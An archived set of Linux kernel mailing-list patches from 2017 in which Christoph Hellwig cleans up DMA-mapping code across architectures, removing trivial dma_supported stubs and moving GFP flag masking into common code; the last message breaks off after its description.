Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id E0022891
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:44 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 7A9221DAA7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:44 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=TAWJDWl12CUmw3M57Gc/tzjmviVJ2G12h+r5PVnMQyI=;
	b=Rdks+64yQN1nHTniS/gshdFsX
	qy0LH4w4mqMXT3C4LpxJBGt5U59DFGeu82b7iqr0UM/o+p/JOUXIBYLcO3f1e4ClfL3mQ5P9nurTp
	PGV7FNeta0hQAieHxAeEdDmbwU3Nz2xosc2+JKxbI8IIcVoDNG5IBHtkIfv5N8gWIn8QmSMF4sptL
	vxdvcM9mg/yMCudcABMib3o5/Wu0bU/9166Uj5lzcI0+bqPsIsnyMgQszE4rP8geX3inPKrkWzEpu
	Xh3nc784hUJ34LyjbiBY+mmwKutSMbE8zGLoV1yHOkiAMRXAPlnZuy7rdewwTcaXcHlprLbhU9p4L
	08pmlVkqg==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpu9-000145-5A; Fri, 29 Dec 2017 08:20:37 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21896 gmane.linux.ports.mips.general:62939 gmane.linux.ports.ia64:28406 gmane.linux.ports.sh.devel:56052 gmane.linux.ports.sparc:27059 gmane.linux.kernel.cross-arch:40799 gmane.linux.ports.hexagon:1416 gmane.linux.kernel.arc:3184 gmane.linux.kernel.metag:1490 gmane.linux.ports.arm.kernel:622909 gmane.linux.ports.parisc:28081 gmane.linux.kernel:2654226 gmane.linux.ports.alpha:4563 gmane.linux.ports.ppc64.devel:151513
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21896>

Always returning 1 is the same behavior as not supplying a method at all.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/microblaze/kernel/dma.c | 6 ------
 arch/parisc/kernel/pci-dma.c | 7 -------
 2 files changed, 13 deletions(-)

diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 364b0ac41452..49b09648679b 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -89,11 +89,6 @@ static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static int dma_nommu_dma_supported(struct device *dev, u64 mask)
-{
-	return 1;
-}
-
 static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
@@ -209,7 +204,6 @@ const struct dma_map_ops dma_nommu_ops = {
 	.free			= dma_nommu_free_coherent,
 	.mmap			= dma_nommu_mmap_coherent,
 	.map_sg			= dma_nommu_map_sg,
-	.dma_supported		= dma_nommu_dma_supported,
 	.map_page		= dma_nommu_map_page,
 	.unmap_page		= dma_nommu_unmap_page,
 	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 6ad9aed3d025..2a05457f7aab 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -75,11 +75,6 @@ void dump_resmap(void)
 static inline void dump_resmap(void) {;}
 #endif
 
-static int pa11_dma_supported( struct device *dev, u64 mask)
-{
-	return 1;
-}
-
 static inline int map_pte_uncached(pte_t * pte,
 		unsigned long vaddr,
 		unsigned long size, unsigned long *paddr_ptr)
@@ -579,7 +574,6 @@ static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 }
 
 const struct dma_map_ops pcxl_dma_ops = {
-	.dma_supported =	pa11_dma_supported,
 	.alloc =		pa11_dma_alloc,
 	.free =			pa11_dma_free,
 	.map_page =		pa11_dma_map_page,
@@ -617,7 +611,6 @@ static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
 }
 
 const struct dma_map_ops pcx_dma_ops = {
-	.dma_supported =	pa11_dma_supported,
 	.alloc =		pcx_dma_alloc,
 	.free =			pcx_dma_free,
 	.map_page =		pa11_dma_map_page,
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 22/67] dma-mapping: clear harmful GFP_* flags in common code
Date: Fri, 29 Dec 2017 09:18:26 +0100
Lines: 204
Approved: news@gmane.org
Message-ID: <20171229081911.2802-23-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535550 32414 195.159.176.226 (29 Dec 2017 08:19:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:10 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 29 09:19:04 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eUpsd-000815-Gn
	for glpp-linux-parisc@m.gmane.org; Fri, 29 Dec 2017 09:19:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932530AbdL2IVG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:06 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44528 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932379AbdL2IVB (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Dec 2017 03:21:01 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=nWAMgW336A2LV4STDURYBt7QGzKTnfII3cNEFNJOxic=; b=ZvShH+I34bGdX6gD/ZeT2b2f5
        AVTyHQUf1h/t7O1bhPtH+z48fR5j1uRnSE9TbUzMuYxZNihy/NufszDbKtWgNr/QGx9rOuM57q/8l
        mZ5rJdt6SDMvIBsY2Fnnxca2v4vsF+kTt2cUASBSy7VwRsJSPh1GtOaHUe01gC/9MlEsMlsezFebQ
        EBw/Y6VU0KRzPO6dORzwE9NVOK8pTFec9ZSA+aBE/DLGEYSauwPOG6qLPCxKmXhjXJeo9G+3mdNO8
        LBUDgczkprQPHAzaktBFLKqJG+9XR1nxjRRf3v+CEkKjCrBJ7Or4hZgQsLa60xMWH2tDld0tGrKXr
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpuR-0001Sh-59; Fri, 29 Dec 2017 08:20:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28082 gmane.linux.kernel.iommu:21897 gmane.linux.ports.alpha:4564 gmane.linux.kernel.arc:3185 gmane.linux.ports.arm.kernel:622910 gmane.linux.ports.hexagon:1417 gmane.linux.ports.ia64:28407 gmane.linux.kernel.metag:1491 gmane.linux.ports.mips.general:62940 gmane.linux.ports.ppc64.devel:151514 gmane.linux.ports.sh.devel:56053 gmane.linux.ports.sparc:27060 gmane.linux.kernel.cross-arch:40800 gmane.linux.kernel:2654227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28082>

Life the code from x86 so that we behave consistently.  In the future we
should probably warn if any of these is set.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/cris/arch-v32/drivers/pci/dma.c      | 3 ---
 arch/h8300/kernel/dma.c                   | 3 ---
 arch/m68k/kernel/dma.c                    | 2 --
 arch/mips/cavium-octeon/dma-octeon.c      | 3 ---
 arch/mips/loongson64/common/dma-swiotlb.c | 3 ---
 arch/mips/mm/dma-default.c                | 3 ---
 arch/mips/netlogic/common/nlm-dma.c       | 3 ---
 arch/mn10300/mm/dma-alloc.c               | 3 ---
 arch/nios2/mm/dma-mapping.c               | 3 ---
 arch/powerpc/kernel/dma.c                 | 3 ---
 arch/x86/kernel/pci-dma.c                 | 2 --
 include/linux/dma-mapping.h               | 7 +++++++
 12 files changed, 7 insertions(+), 31 deletions(-)

diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
index aa16ce27e036..c7e3056885d3 100644
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ b/arch/cris/arch-v32/drivers/pci/dma.c
@@ -22,9 +22,6 @@ static void *v32_dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
index 0e92214310c4..4e27b74df973 100644
--- a/arch/h8300/kernel/dma.c
+++ b/arch/h8300/kernel/dma.c
@@ -16,9 +16,6 @@ static void *dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
 	ret = (void *)__get_free_pages(gfp, get_order(size));
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index e0167418072b..2f3492e8295c 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -76,8 +76,6 @@ static void *m68k_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
 
 	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
 		gfp |= GFP_DMA;
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index c64bd87f0b6e..5baf79fce643 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -161,9 +161,6 @@ static void *octeon_dma_alloc_coherent(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 	if (IS_ENABLED(CONFIG_ZONE_DMA) && dev == NULL)
 		gfp |= __GFP_DMA;
 	else if (IS_ENABLED(CONFIG_ZONE_DMA) &&
diff --git a/arch/mips/loongson64/common/dma-swiotlb.c b/arch/mips/loongson64/common/dma-swiotlb.c
index ef07740cee61..15388c24a504 100644
--- a/arch/mips/loongson64/common/dma-swiotlb.c
+++ b/arch/mips/loongson64/common/dma-swiotlb.c
@@ -15,9 +15,6 @@ static void *loongson_dma_alloc_coherent(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 	if ((IS_ENABLED(CONFIG_ISA) && dev == NULL) ||
 	    (IS_ENABLED(CONFIG_ZONE_DMA) &&
 	     dev->coherent_dma_mask < DMA_BIT_MASK(32)))
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index 3cd93e0c7a29..6f6b1399e98e 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -93,9 +93,6 @@ static gfp_t massage_gfp_flags(const struct device *dev, gfp_t gfp)
 {
 	gfp_t dma_flag;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 #ifdef CONFIG_ISA
 	if (dev == NULL)
 		dma_flag = __GFP_DMA;
diff --git a/arch/mips/netlogic/common/nlm-dma.c b/arch/mips/netlogic/common/nlm-dma.c
index 0ec9d9da6d51..49c975b6aa28 100644
--- a/arch/mips/netlogic/common/nlm-dma.c
+++ b/arch/mips/netlogic/common/nlm-dma.c
@@ -47,9 +47,6 @@ static char *nlm_swiotlb;
 static void *nlm_dma_alloc_coherent(struct device *dev, size_t size,
 	dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM);
-
 #ifdef CONFIG_ZONE_DMA32
 	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32))
 		gfp |= __GFP_DMA32;
diff --git a/arch/mn10300/mm/dma-alloc.c b/arch/mn10300/mm/dma-alloc.c
index 55876a87c247..2629f1f4b04e 100644
--- a/arch/mn10300/mm/dma-alloc.c
+++ b/arch/mn10300/mm/dma-alloc.c
@@ -37,9 +37,6 @@ static void *mn10300_dma_alloc(struct device *dev, size_t size,
 		goto done;
 	}
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	if (dev == NULL || dev->coherent_dma_mask < 0xffffffff)
 		gfp |= GFP_DMA;
 
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 599bcc09c9e7..9e54f8cb3459 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -63,9 +63,6 @@ static void *nios2_dma_alloc(struct device *dev, size_t size,
 {
 	void *ret;
 
-	/* ignore region specifiers */
-	gfp &= ~(__GFP_DMA | __GFP_HIGHMEM);
-
 	/* optimized page clearing */
 	gfp |= __GFP_ZERO;
 
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 5d49da094a93..1723001d5de1 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -105,9 +105,6 @@ void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 	};
 #endif /* CONFIG_FSL_SOC */
 
-	/* ignore region specifiers */
-	flag  &= ~(__GFP_HIGHMEM);
-
 	page = alloc_pages_node(node, flag, get_order(size));
 	if (page == NULL)
 		return NULL;
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 8439e6de6156..61a8f1cb3829 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -87,7 +87,6 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 
 	dma_mask = dma_alloc_coherent_mask(dev, flag);
 
-	flag &= ~__GFP_ZERO;
 again:
 	page = NULL;
 	/* CMA can be used only in the context which permits sleeping */
@@ -139,7 +138,6 @@ bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp)
 	if (!*dev)
 		*dev = &x86_dma_fallback_dev;
 
-	*gfp &= ~(__GFP_DMA | __GFP_HIGHMEM | __GFP_DMA32);
 	*gfp = dma_alloc_coherent_gfp_flags(*dev, *gfp);
 
 	if (!is_device_dma_capable(*dev))
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 2779d544485c..fd5197af882a 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -525,6 +525,13 @@ static inline void *dma_alloc_attrs(struct device *dev, size_t size,
 	if (dma_alloc_from_dev_coherent(dev, size, dma_handle, &cpu_addr))
 		return cpu_addr;
 
+	/*
+	 * Let the implementation decide on the zone to allocate from, and
+	 * decide on the way of zeroing the memory given that the memory
+	 * returned should always be zeroed.
+	 */
+	flag &= ~(__GFP_DMA | __GFP_DMA32 | __GFP_HIGHMEM | __GFP_ZERO);
+
 	if (!arch_dma_alloc_attrs(&dev, &flag))
 		return NULL;
 	if (!ops->alloc)
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 20/67] s390: move s390_pci_dma_ops to asm/pci_dma.h
Date: Fri, 29 Dec 2017 09:18:24 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20171229081911.2802-21-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535556 1512 195.159.176.226 (29 Dec 2017 08:19:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:16 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:19:10 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpsf-0008DH-BA
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:19:06 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id E95368D9;
	Fri, 29 Dec 2017 08:20:55 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id C07B7891
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:54 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 734E91DBFD
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:54 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=Afn0YIn1zKrL1IQlc79HRm4W+e1XRPY6Gc2rdlD9BfI=;
	b=u4h8CixrlYv6SFgN3KjxnWXRB
	X1nDoNzIwvSS8CoFKpZeDjK1i5ZsEju0KS5WmVS9hQPgQXNYHW1FDWFfNBDETM2fQrH6QSLF3snm/
	a9JzhAw9xq8y7s6bcHwMO779C/znn8e7doxN5z4OXUhb+6uQeWltYqWigjMSy1sZfSCsFb0vBSJrr
	LSeptsgtkxMEyvSYgxBlzcSUA8cmsLKySzaBtthBsgHCYZDl+AgI2Nr2+kL7fUlNZFQ+FUmTx3CL5
	7MKWLKAZK2F5qv3BbXDshMfAIOFjHFNt5ebgypDtL6kZJb79YbeDipyGY8TLXNpCDjlGGKhmUpGGS
	c1dWLFHfg==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpuH-0001FK-Ug; Fri, 29 Dec 2017 08:20:46 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21898 gmane.linux.ports.mips.general:62941 gmane.linux.ports.ia64:28408 gmane.linux.ports.sh.devel:56054 gmane.linux.ports.sparc:27061 gmane.linux.kernel.cross-arch:40801 gmane.linux.ports.hexagon:1418 gmane.linux.kernel.arc:3186 gmane.linux.kernel.metag:1492 gmane.linux.ports.arm.kernel:622911 gmane.linux.ports.parisc:28083 gmane.linux.kernel:2654228 gmane.linux.ports.alpha:4565 gmane.linux.ports.ppc64.devel:151515
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21898>

This is not needed in drivers, so move it to a private header.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
